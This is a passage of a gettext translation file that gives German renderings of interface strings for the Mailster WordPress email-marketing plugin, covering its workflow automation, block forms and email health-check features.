build/workflows/trigger/index.js:1 msgid "Trigger %s" msgstr "Auslöser %s" #: build/workflows/trigger/index.js:1 msgid "No Trigger defined" msgstr "Kein Auslöser definiert" #: build/workflows/trigger/index.js:1 msgid "repeat forever" msgstr "für immer wiederholen" #: build/workflows/trigger/index.js:1 msgid "repeat %d times" msgstr "wiederhole %d mal" #: classes/ajax.class.php:855 msgid "Message sent to %s. Check your inbox!" msgstr "Nachricht gesendet an %s. Überprüfe deinen Posteingang!" #: classes/ajax.class.php:1011 msgid "Custom" msgstr "Benutzerdefiniert" #: classes/automation.class.php:132 msgid "Subscriber removed from a list" msgstr "Abonnent von einer Liste entfernt" #: classes/automation.class.php:133 msgid "When a subscriber is removed from a list" msgstr "Wenn ein Abonnent aus einer Liste entfernt wird" #: classes/automation.class.php:144 msgid "Tag removed" msgstr "Tag entfernt" #: classes/automation.class.php:145 msgid "When a Tag is removed from a subscriber" msgstr "Wenn ein Tag von einem Teilnehmer entfernt wird" #: classes/block-forms.class.php:930 build/form/index.js:233 #: build/homepage-context/index.js:5 build/homepage/index.js:5 msgid "Preview %s" msgstr "Vorschau %s" #: classes/block-forms.class.php:930 msgid "Preview this form" msgstr "Vorschau dieses Formulars" #: classes/campaigns.class.php:740 msgid "This Autoresponder has been converted already!" msgstr "Dieser Autoresponder wurde bereits umgewandelt!" #: classes/campaigns.class.php:740 msgid "You have converted this autoresponder already. You can convert it again to create a new workflow or you can edit the original one." msgstr "Du hast diesen Autoresponder bereits konvertiert. Du kannst ihn erneut konvertieren, um einen neuen Workflow zu erstellen, oder du kannst den ursprünglichen bearbeiten." #: classes/campaigns.class.php:740 classes/campaigns.class.php:742 msgid "Convert Autoreponder" msgstr "Autoreponder umwandeln" #: classes/campaigns.class.php:740 msgid "Convert to Workflow again" msgstr "Wieder in Workflow konvertieren" #: classes/campaigns.class.php:740 msgid "Open Workflow" msgstr "Offener Arbeitsablauf" #: classes/campaigns.class.php:742 msgid "Convert this Autoreponder to a workflow." msgstr "Wandle diesen Autoreponder in einen Workflow um." #: classes/campaigns.class.php:742 msgid "Workflows offer a more flexible and clearer method for constructing your automations." msgstr "Workflows bieten eine flexiblere und übersichtlichere Methode, um deine Automatisierungen zu erstellen." #: classes/campaigns.class.php:742 msgid "Should you choose to convert this autoresponder, it will be deactivated and the campaign will be duplicated." msgstr "Wenn du dich entscheidest, diesen Autoresponder umzuwandeln, wird er deaktiviert und die Kampagne wird dupliziert." #: classes/campaigns.class.php:742 msgid "Convert to Workflow" msgstr "In Workflow umwandeln" #: classes/campaigns.class.php:742 msgid "Learn more about workflows" msgstr "Erfahre mehr über Workflows" #: classes/campaigns.class.php:1745 msgid "Do you really like to delete %s?" msgstr "Willst du wirklich %s löschen?" #: classes/campaigns.class.php:1748 msgid "Save Module" msgstr "Modul speichern" #: classes/campaigns.class.php:1756 msgctxt "for the autoimporter" msgid "Insert Content" msgstr "Inhalt einfügen" #: classes/campaigns.class.php:2936 msgid "Only Autoresponder can get converted." msgstr "Nur Autoresponder können konvertiert werden." #: classes/divi.class.php:37 msgid "Choose the form you like to display here." msgstr "Wähle hier das Formular aus, das du anzeigen möchtest." #: classes/health.class.php:12 msgid "Health" msgstr "Gesundheit" #: classes/health.class.php:95 msgid "Mailster Health Check" msgstr "Mailster Gesundheitscheck" #: classes/helper.class.php:977 msgid "The user uses one-click-unsubscribe (RFC 8058)" msgstr "Der Benutzer verwendet die one-click-unsubscribe (RFC 8058)" #: classes/notification.class.php:710 msgid "This email is a test to ensure the integrity and functionality of your current delivery method. If you're receiving this message, it indicates that your email system is operating correctly." msgstr "Bei dieser E-Mail handelt es sich um einen Test, um die Integrität und Funktionalität deiner aktuellen Zustellungsmethode sicherzustellen. Wenn du diese Nachricht erhältst, bedeutet das, dass dein E-Mail-System korrekt funktioniert." #: classes/notification.class.php:711 msgid "Consider this message as a confirmation of the effective operation of you email delivery system." msgstr "Betrachte diese Nachricht als Bestätigung, dass dein E-Mail-Zustellsystem funktioniert." #: classes/notification.class.php:712 msgid "You can also run %s to check your deliverbilty." msgstr "Du kannst auch %s ausführen, um die Zustellbarkeit zu überprüfen." #: classes/notification.class.php:712 msgid "an Email Health Check" msgstr "ein E-Mail-Gesundheitscheck" #: classes/notification.class.php:713 msgid "There is no action required on your part; feel free to delete this email." msgstr "Du brauchst nichts zu tun, du kannst diese E-Mail einfach löschen." #: classes/notification.class.php:720 msgid "This is a health check email from Mailster" msgstr "Dies ist eine Gesundheitscheck-E-Mail von Mailster" #: classes/template.class.php:704 msgid "Delete Module %s" msgstr "Modul löschen %s" #: classes/templates.class.php:116 classes/templates.class.php:125 msgid "Template not found" msgstr "Vorlage nicht gefunden" #: classes/templates.class.php:1271 msgid "Custom %s" msgstr "Benutzerdefiniert %s" #: includes/static.php:35 msgid "Update your preferences" msgstr "Aktualisiere deine Vorlieben" #: includes/updates.php:664 msgid "Check your Email Health now!" msgstr "Prüfe jetzt deine E-Mail-Gesundheit!" #: includes/updates.php:665 msgid "The Email Health Check ensures your current delivery method is properly configured. It checks your server's authentication, including SPF, DKIM, and DMARC, to verify adherence to best practices in email delivery." msgstr "Der E-Mail-Gesundheitscheck stellt sicher, dass deine aktuelle Zustellungsmethode richtig konfiguriert ist. Er überprüft die Authentifizierung deines Servers, einschließlich SPF, DKIM und DMARC, um die Einhaltung der Best Practices bei der E-Mail-Zustellung zu überprüfen." #: includes/updates.php:666 msgid "Run a Health Check" msgstr "Gesundheitscheck durchführen" #: includes/updates.php:666 includes/updates.php:723 msgid "Read the Blog Post" msgstr "Lies den Blog-Beitrag" #: views/admin_header.php:84 msgctxt "time left" msgid "only %s left!" msgstr "nur noch %s übrig!" #: views/admin_header.php:87 msgid "Grab a new license for Mailster with %s off the first year!" msgstr "Hol dir eine neue Lizenz für Mailster mit %s Rabatt im ersten Jahr!" #: views/admin_header.php:87 msgid "Get %s off for Black Friday!" msgstr "Hol dir %s Rabatt zum Black Friday!" #: views/dashboard/mb-mailster.php:68 msgid "Health Check" msgstr "Gesundheitscheck" #: views/dashboard/mb-quicklinks.php:30 msgctxt "number of" msgid "Automation" msgid_plural "Automations" msgstr[0] "Automatisierung" msgstr[1] "Automatisierungen" #: views/dashboard/mb-quicklinks.php:33 msgid "Create Automation" msgstr "Automatisierung erstellen" #: views/health.php:8 views/settings/delivery.php:110 msgid "Email Health Check" msgstr "E-Mail Gesundheitscheck" #: views/health.php:9 msgid "The Email Health Check confirms that your current delivery method is set up correctly. It examines the authentication of your server (including SPF, DKIM, and DMARC) to ensure compliance with email delivery best practices." msgstr "Der E-Mail-Gesundheitscheck bestätigt, dass deine aktuelle Zustellungsmethode korrekt eingerichtet ist. Er prüft die Authentifizierung deines Servers (einschließlich SPF, DKIM und DMARC), um die Einhaltung der Best Practices für die E-Mail-Zustellung sicherzustellen." #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "signup" msgstr "Anmeldung" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "optin" msgstr "optin" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "opt-in" msgstr "Opt-in" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "opt in" msgstr "opt in" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "email" msgstr "E-Mail" #: build/form/block.json build/homepage/block.json msgctxt "block keyword" msgid "mail" msgstr "Mail" #: build/form/block.json msgctxt "block description" msgid "Use a Mailster Block Form on your page" msgstr "Verwende ein Mailster-Block-Formular auf deiner Seite" #: build/forms/close/block.json msgctxt "block title" msgid "Close Link" msgstr "Schließen Link" #: build/forms/close/block.json build/forms/gdpr/block.json #: build/forms/lists/block.json build/forms/messages/block.json #: build/workflows/conditions/block.json msgctxt "block keyword" msgid "container" msgstr "Container" #: build/forms/close/block.json build/forms/gdpr/block.json #: build/forms/lists/block.json build/forms/messages/block.json #: build/workflows/conditions/block.json msgctxt "block keyword" msgid "wrapper" msgstr "Wrapper" #: build/forms/close/block.json build/forms/gdpr/block.json #: build/forms/lists/block.json build/forms/messages/block.json #: build/workflows/conditions/block.json msgctxt "block keyword" msgid "row" msgstr "Zeile" #: build/forms/close/block.json build/forms/gdpr/block.json #: build/forms/lists/block.json build/forms/messages/block.json #: build/workflows/conditions/block.json msgctxt "block keyword" msgid "section" msgstr "Abschnitt" #: build/forms/close/block.json msgctxt "block description" msgid "A simple link to close the popup" msgstr "Ein einfacher Link zum Schließen des Popups" #: build/forms/form-wrapper/block.json msgctxt "block description" msgid "Define the look of your form here." msgstr "Bestimme hier das Aussehen deines Formulars." #: build/forms/gdpr/block.json msgctxt "block title" msgid "GDPR Field" msgstr "DSGVO-Feld" #: build/forms/gdpr/block.json msgctxt "block description" msgid "Adds a Checkbox to your Mailster Block form for GDPR compliance" msgstr "Fügt ein Kontrollkästchen zu deinem Mailster-Block-Formular hinzu, um die GDPR zu erfüllen" #: patterns/workflows.php:263 msgid "Gain insights into the individuals who engage with the links in your emails. Utilize this information to send follow-up emails containing additional information tailored to their interests and actions. By understanding their interactions, you can deliver targeted and relevant content to further engage and nurture your audience." msgstr "Erhalte Einblicke in die Personen, die auf die Links in deinen E-Mails klicken. Nutze diese Informationen, um Folge-E-Mails mit zusätzlichen Informationen zu versenden, die auf ihre Interessen und Handlungen zugeschnitten sind. Wenn du ihre Interaktionen verstehst, kannst du zielgerichtete und relevante Inhalte liefern, um deine Zielgruppe weiter einzubinden und zu pflegen." #: build/forms/lists/block.json msgctxt "block title" msgid "Lists Field" msgstr "Listen Feld" #: patterns/workflows.php:285 msgid "Check for EU Member" msgstr "Check für EU-Mitglieder" #: build/forms/lists/block.json msgctxt "block description" msgid "Adds a List block to your Mailster Block Form" msgstr "Fügt einen Listenblock zu deinem Mailster-Block-Formular hinzu" #: patterns/workflows.php:286 msgid "The following process checks whether the user is a member of the European Union, and then adds or removes a corresponding tag based on the result." msgstr "Der folgende Prozess prüft, ob der/die Nutzer/in Mitglied der Europäischen Union ist, und fügt dann je nach Ergebnis ein entsprechendes Tag hinzu oder entfernt es." #: build/forms/messages/block.json msgctxt "block title" msgid "Message Field" msgstr "Nachrichtenfeld" #: views/admin_header.php:100 views/setup/finish.php:13 msgid "Your trial has expired!" msgstr "Deine Probezeit ist abgelaufen!" #: build/forms/messages/block.json msgctxt "block description" msgid "Adds a Message field to your Mailster Block Form" msgstr "Fügt ein Nachrichtenfeld zu deinem Mailster-Block-Formular hinzu" #: views/automation/empty.php:5 msgid "Ready to start automating your email marketing?" msgstr "Bist du bereit, dein E-Mail-Marketing zu automatisieren?" #: build/homepage-context/block.json msgctxt "block title" msgid "Mailster Homepage Section" msgstr "Mailster Homepage Abschnitt" #: views/automation/empty.php:7 msgid "Automating your email marketing campaigns with Mailster becomes easier and more flexible than ever before." msgstr "Die Automatisierung deiner E-Mail-Marketingkampagnen mit Mailster ist einfacher und flexibler als je zuvor." #: views/automation/empty.php:8 msgid "With our powerful automation features, you can leverage the our Workflow Editor to create custom, highly effective automations tailored to your specific needs." msgstr "Mit unseren leistungsstarken Automatisierungsfunktionen kannst du unseren Workflow-Editor nutzen, um individuelle, hocheffektive Automatisierungen zu erstellen, die auf deine speziellen Bedürfnisse zugeschnitten sind." #: build/homepage/block.json msgctxt "block title" msgid "Mailster Homepage" msgstr "Mailster Homepage" #: views/automation/empty.php:11 msgid "Create new Automation" msgstr "Neue Automatisierung erstellen" #: build/workflows/action/block.json msgctxt "block title" msgid "Action" msgstr "Aktion" #: views/forms/empty.php:6 msgid "Create your first form to collect leads." msgstr "Erstelle dein erstes Formular, um Leads zu sammeln." #: build/workflows/action/block.json msgctxt "block description" msgid "Execute an action" msgstr "Führe eine Aktion aus" #: views/forms/empty.php:8 msgid "With Block Forms, you have the convenience of creating standard forms and popups for lead collection with ease." msgstr "Mit Block Forms kannst du ganz einfach Standardformulare und Popups für die Lead-Erfassung erstellen." #: build/workflows/comment/block.json msgctxt "block title" msgid "Comment" msgstr "Kommentar" #: views/forms/empty.php:11 build/form/index.js:233 msgid "Create new form" msgstr "Neues Formular erstellen" #: build/workflows/comment/block.json msgctxt "block keyword" msgid "comment" msgstr "Kommentar" #: views/forms/empty.php:15 msgid "Learn how to convert your old forms" msgstr "Erfahre, wie du deine alten Formulare umwandeln kannst" #: build/workflows/comment/block.json msgctxt "block description" msgid "This is a comment block to better document your workflow. It has no effect on the workflow." msgstr "Dies ist ein Kommentarblock, um deinen Workflow besser zu dokumentieren. Er hat keinen Einfluss auf den Workflow." #: views/newsletter/delivery.php:64 views/newsletter/delivery.php:172 #: views/newsletter/delivery.php:243 views/newsletter/delivery.php:261 msgid "on" msgstr "auf" #: build/workflows/condition-no/block.json msgctxt "block title" msgid "Condition not fulfilled" msgstr "Bedingung nicht erfüllt" #: views/settings/advanced.php:43 msgid "Enable legacy forms" msgstr "Veraltete Formulare aktivieren" #: build/workflows/condition-yes/block.json msgctxt "block title" msgid "Condition fulfilled" msgstr "Bedingung erfüllt" #: views/settings/advanced.php:43 msgid "If you still like to use leagcy forms you can keep them working by enabling this option." msgstr "Wenn du immer noch gerne die alten Formulare verwendest, kannst du sie weiterhin nutzen, indem du diese Option aktivierst." #: build/workflows/conditions/block.json msgctxt "block title" msgid "Condition" msgstr "Bedingung" #: views/setup/homepage.php:5 msgid "Mailster needs a Newsletter Homepage were users can subscribe, update and unsubscribe their subscription. It's a regular page with special Newsletter signup form." msgstr "Mailster benötigt eine Newsletter-Homepage, auf der sich die Nutzerinnen und Nutzer anmelden, aktualisieren und abmelden können. Es ist eine normale Seite mit einem speziellen Newsletter-Anmeldeformular." #: build/workflows/delay/block.json msgctxt "block title" msgid "Delay" msgstr "Verzögerung" #: views/setup/finish.php:26 msgid "Create your first automation" msgstr "Erstelle deine erste Automatisierung" #: build/workflows/delay/block.json msgctxt "block keyword" msgid "delay" msgstr "Verzögerung" #: views/setup/finish.php:28 msgid "Import your subscribers" msgstr "Importiere deine Abonnenten" #: build/workflows/delay/block.json build/workflows/jumper/block.json msgctxt "block keyword" msgid "time" msgstr "Zeit" #: views/setup/finish.php:34 msgid "Email Marketing Automation in Mailster" msgstr "E-Mail-Marketing-Automatisierung in Mailster" #: build/workflows/delay/block.json msgctxt "block description" msgid "Delay your workflow and continue at a later point." msgstr "Pausiere deinen Workflow und setze ihn zu einem späteren Zeitpunkt fort." #: views/setup/finish.php:35 msgid "How do I import my subscribers?" msgstr "Wie kann ich meine Abonnenten importieren?" #: build/workflows/email/block.json msgctxt "block title" msgid "Email" msgstr "E-Mail" #: views/templates.php:16 msgctxt "templates" msgid "Premium" msgstr "Premium" #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "Signup Form" msgstr "Anmeldeformular" #: build/workflows/stop/block.json msgctxt "block title" msgid "Stop" msgstr "Stopp" #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This is the homepage" msgstr "Das ist die Homepage" #: build/workflows/stop/block.json msgctxt "block keyword" msgid "stop" msgstr "stop" #: build/workflows/stop/block.json msgctxt "block description" msgid "This is a stop block which prevents any further action in the workflow." msgstr "Dies ist eine Stoppsperre, die jede weitere Aktion im Workflow verhindert." #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This is the profile page" msgstr "Dies ist die Profilseite" #: build/workflows/trigger/block.json msgctxt "block title" msgid "Trigger" msgstr "Trigger" #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This section is displayed if users visits the profile page. People can update their subscription on this page." msgstr "Dieser Bereich wird angezeigt, wenn du die Profilseite besuchst. Auf dieser Seite kannst du dein Abonnement aktualisieren." #: build/workflows/trigger/block.json build/workflows/triggers/block.json msgctxt "block description" msgid "Define how this workflow gets triggered." msgstr "Lege fest, wie dieser Workflow ausgelöst wird." #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This is the unsubscribe page" msgstr "Dies ist die Seite zum Abbestellen" #: build/workflows/triggers/block.json msgctxt "block title" msgid "Triggers" msgstr "Triggers" #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This section is displayed on the unsubscribe page. If the user clicks an unsubscribe link in a newsletter, he will be redirected to this page." msgstr "Dieser Bereich wird auf der Abmeldeseite angezeigt. Wenn der/die Nutzer/in auf einen Abmeldelink in einem Newsletter klickt, wird er/sie auf diese Seite weitergeleitet." #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This is the Landing page" msgstr "Das ist die Landing Page" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "Newsletter Homepage Sections" msgstr "Newsletter Homepage Abschnitte" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "Not defined yet!" msgstr "Noch nicht definiert!" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "You have to define a form for each section. You can use the same form as well." msgstr "Du musst für jeden Abschnitt ein Formular definieren. Du kannst auch das gleiche Formular verwenden." #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "Change the text of the button on the Texts tab in the settings." msgstr "Ändere den Text der Schaltfläche auf der Registerkarte \"Texte\" in den Einstellungen." #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Mailster Inline styles have been updated." msgstr "Die Mailster Inline-Stile wurden aktualisiert." #: build/form/index.js:233 msgid "You currently have no forms. Please create a new form." msgstr "Du hast derzeit keine Formulare. Bitte erstelle ein neues Formular." #: build/form/index.js:233 msgid "Edit form" msgstr "Formular bearbeiten" #: build/form/index.js:233 msgid "Reload Form" msgstr "Formular neu laden" #: build/form/index.js:233 msgid "Newsletter Homepage: %s" msgstr "Newsletter Homepage: %s" #: build/form/index.js:233 msgid "Mailster Subscription Form" msgstr "Mailster-Abonnementformular" #: build/form/index.js:233 msgid "Select a form you like to display on this page." msgstr "Wähle ein Formular aus, das du auf dieser Seite anzeigen möchtest." #: build/form/index.js:233 msgid "Form Selector" msgstr "Formular-Selektor" #: build/forms/close/index.js:1 build/forms/form-wrapper/index.js:1 #: build/forms/gdpr/index.js:1 msgid "Change text alignment" msgstr "Textausrichtung ändern" #: build/forms/close/index.js:1 build/forms/form-wrapper/index.js:1 #: build/forms/gdpr/index.js:1 msgid "Align" msgstr "Ausrichten" #: build/forms/close/index.js:1 msgid "Close popup" msgstr "Popup schließen" #: build/forms/close/index.js:1 build/forms/form-wrapper/index.js:1 #: build/forms/gdpr/index.js:1 build/forms/lists/index.js:1 msgid "Enter Label" msgstr "Label eingeben" #: build/forms/form-wrapper/index.js:1 build/forms/gdpr/index.js:1 #: build/forms/messages/index.js:1 msgid "Field Settings" msgstr "Einstellungen" #: build/forms/form-wrapper/index.js:1 build/forms/gdpr/index.js:1 msgid "Change label alignment" msgstr "Ausrichtung des Labels ändern" #: build/forms/gdpr/index.js:1 msgid "Label Align" msgstr "Label ausrichten" #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "Users Choice" msgstr "Wahl des Benutzers" #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "Available Lists" msgstr "Verfügbare Listen" #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "Show Label" msgstr "Label anzeigen" #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "If the label is hidden it will be used for screen readers." msgstr "Wenn das Label ausgeblendet ist, wird es für Screen Reader verwendet." #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "You can update the list names and the precheck status in the editor." msgstr "Du kannst die Listennamen und den Precheck-Status im Editor aktualisieren." #: build/forms/lists/index.js:1 msgid "List Settings" msgstr "Listeneinstellungen" #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "Orientation" msgstr "Orientierung" #: build/forms/lists/index.js:1 msgid "Please select at least one list or disable user choice." msgstr "Bitte wähle mindestens eine Liste aus oder deaktiviere die Benutzerauswahl." #: build/forms/messages/index.js:1 msgid "Success Message" msgstr "Bestätigungsmeldung" #: build/forms/messages/index.js:1 msgid "Error Messages" msgstr "Fehlermeldungen" #: build/forms/messages/index.js:1 msgid "Some fields are missing or incorrect!" msgstr "Einige Felder fehlen oder sind falsch!" #: build/forms/messages/index.js:1 msgid "Enter Success Message" msgstr "Bestätigungsmeldung eingeben" #: build/forms/messages/index.js:1 msgid "Enter Error Message" msgstr "Fehlermeldung eingeben" #: build/forms/form-wrapper/index.js:1 msgid "Change element alignment" msgstr "Elementausrichtung ändern" #: build/homepage-context/index.js:5 msgid "[Mailster]: %s" msgstr "[Mailster]: %s" #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Select Custom Field" msgstr "Benutzerdefiniertes Feld auswählen" #: build/workflows/action/index.js:1 msgid "to" msgstr "auf" #: build/workflows/action/index.js:1 msgid "A specific date" msgstr "Ein bestimmtes Datum" #: build/workflows/action/index.js:1 msgid "To the current date" msgstr "Auf das aktuellen Datum" #: build/workflows/action/index.js:1 msgid "Increase by days" msgstr "Erhöhe Tage um" #: build/workflows/action/index.js:1 msgid "Decrease by days" msgstr "Reduziere Tage um" #: build/workflows/action/index.js:1 msgid "Number of days" msgstr "Anzahl der Tage" #: build/workflows/action/index.js:1 msgid "checked" msgstr "aktiv" #: build/workflows/action/index.js:1 msgid "unchecked" msgstr "nicht aktiv" #: build/workflows/action/index.js:1 msgid "Mailster will send a POST request to this URL with the subscriber data as JSON." msgstr "Mailster sendet eine POST-Anfrage an diese URL mit den Abonnentendaten als JSON." #: build/workflows/action/index.js:1 msgid "URL to be called" msgstr "Aufzurufende URL" #: build/workflows/action/index.js:1 msgid "Define a URL which will be called with this action." msgstr "Definiere eine URL, die mit dieser Aktion aufgerufen werden soll." #: build/workflows/action/index.js:1 msgid "Define an action for this step." msgstr "Definiere eine Aktion für diesen Schritt." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Define a trigger to start this workflow." msgstr "Definiere einen Trigger, um diesen Workflow zu starten." #: build/workflows/action/index.js:1 msgid "Remove subscribers from these lists" msgstr "Abonnenten aus diesen Listen entfernen" #: build/workflows/action/index.js:1 msgid "Select all lists which get removed from the subscriber in this step." msgstr "Wähle alle Listen aus, die in diesem Schritt aus dem Abonnenten entfernt werden." #: build/workflows/action/index.js:1 msgid "Add subscribers to these lists" msgstr "Abonnenten zu diesen Listen hinzufügen" #: build/workflows/action/index.js:1 msgid "Select all lists users get subscribed to in this step." msgstr "Wähle in diesem Schritt alle Listen aus, die die Benutzer abonniert haben." #: build/workflows/action/index.js:1 msgid "Users must confirm their subscription." msgstr "Die Nutzer müssen ihr Abonnement bestätigen." #: build/workflows/action/index.js:1 msgid "Enable this option only if you like users to confirm their new list." msgstr "Aktiviere diese Option nur, wenn du möchtest, dass die Nutzer ihre neue Liste bestätigen." #: build/workflows/action/index.js:1 msgid "Add these tags to the subscriber" msgstr "Füge diese Tags zu den Abonnenten hinzu" #: build/workflows/action/index.js:1 msgid "Select all tags which get removed from the subscriber in this step." msgstr "Wähle alle Tags aus, die in diesem Schritt vom Abonnenten entfernt werden." #: build/workflows/action/index.js:1 msgid "Remove these tags form the subscriber" msgstr "Entferne diese Tags vom Abonnenten" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "%s subscriber queued" msgid_plural "%s subscribers queued" msgstr[0] "%s Abonnent in der Warteschlange" msgstr[1] "%s Abonnenten in der Warteschlange" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Queue" msgstr "Warteschlange" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 msgid "Add a comment to help you understand your workflow." msgstr "Füge einen Kommentar hinzu, der dir hilft, deinen Workflow zu verstehen." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "No List defined." msgstr "Keine Liste bestimmt." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "No Tags defined." msgstr "Keine Tags bestimmt." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "No Field defined." msgstr "Kein Feld bestimmt." #: build/workflows/trigger/index.js:1 msgid "Any field" msgstr "Jedes Feld" #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Decrease %s by %s day." msgid_plural "Decrease %s by %s days." msgstr[0] "Verringere %s um %s Tag." msgstr[1] "Verringere %s um %s Tage." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Increase %s by %s day." msgid_plural "Increase %s by %s days." msgstr[0] "Erhöhe %s um %s Tag." msgstr[1] "Erhöhe %s um %s Tage." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Check %s." msgstr "Aktiviere %s." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Uncheck %s." msgstr "Deaktiviere %s." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Field %s." msgstr "Feld %s." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Update field %s with value %s." msgstr "Aktualisiere das Feld %s mit dem Wert %s." #: build/workflows/action/index.js:1 build/workflows/trigger/index.js:1 msgid "Remove field %s." msgstr "Entferne das Feld %s." #: build/workflows/action/index.js:1 msgid "Set up an action" msgstr "Eine Aktion einrichten" #: build/workflows/comment/index.js:1 msgid "Add a comment to help you understand your workflow" msgstr "Füge einen Kommentar hinzu, der dir hilft, deinen Workflow zu verstehen" #: build/workflows/comment/index.js:1 msgid "Enter Comment" msgstr "Kommentar eingeben" #: build/workflows/condition-no/index.js:1 #: build/workflows/condition-yes/index.js:1 msgid "These steps run if the condition is fullfilled." msgstr "Diese Schritte werden ausgeführt, wenn die Bedingung erfüllt ist." #: build/workflows/condition-no/index.js:1 #: build/workflows/condition-yes/index.js:1 msgid "These steps run if the condition is not fullfilled." msgstr "Diese Schritte werden ausgeführt, wenn die Bedingung nicht erfüllt ist." #: build/workflows/condition-no/index.js:1 #: build/workflows/condition-yes/index.js:1 msgid "Condition is fullfilled" msgstr "Bedingung ist erfüllt" #: build/workflows/condition-no/index.js:1 #: build/workflows/condition-yes/index.js:1 msgid "Condition is not fullfilled" msgstr "Bedingung ist nicht erfüllt" #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Change Conditions" msgstr "Bedingungen ändern" #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Add Conditions" msgstr "Bedingungen hinzufügen" #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Clear" msgstr "Zurücksetzen" #: build/workflows/conditions/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Define your conditions for this step" msgstr "Definiere deine Bedingungen für diesen Schritt" #: build/workflows/conditions/index.js:1 msgid "Check if" msgstr "Prüfe, ob" #: build/workflows/conditions/index.js:1 msgid "Define a condition" msgstr "Definiere eine Bedingung" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Minute" msgstr "Minute" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Minutes" msgstr "Minuten" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Hour" msgstr "Stunde" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Hours" msgstr "Stunden" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Day" msgstr "Tag" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/notification/index.js:1 #: build/workflows/stop/index.js:1 build/workflows/trigger/index.js:1 #: build/workflows/triggers/index.js:1 msgid "Days" msgstr "Tage" #: build/workflows/action/index.js:1 build/workflows/conditions/index.js:1 #: build/workflows/delay/index.js:1 build/workflows/email/index.js:1 #: 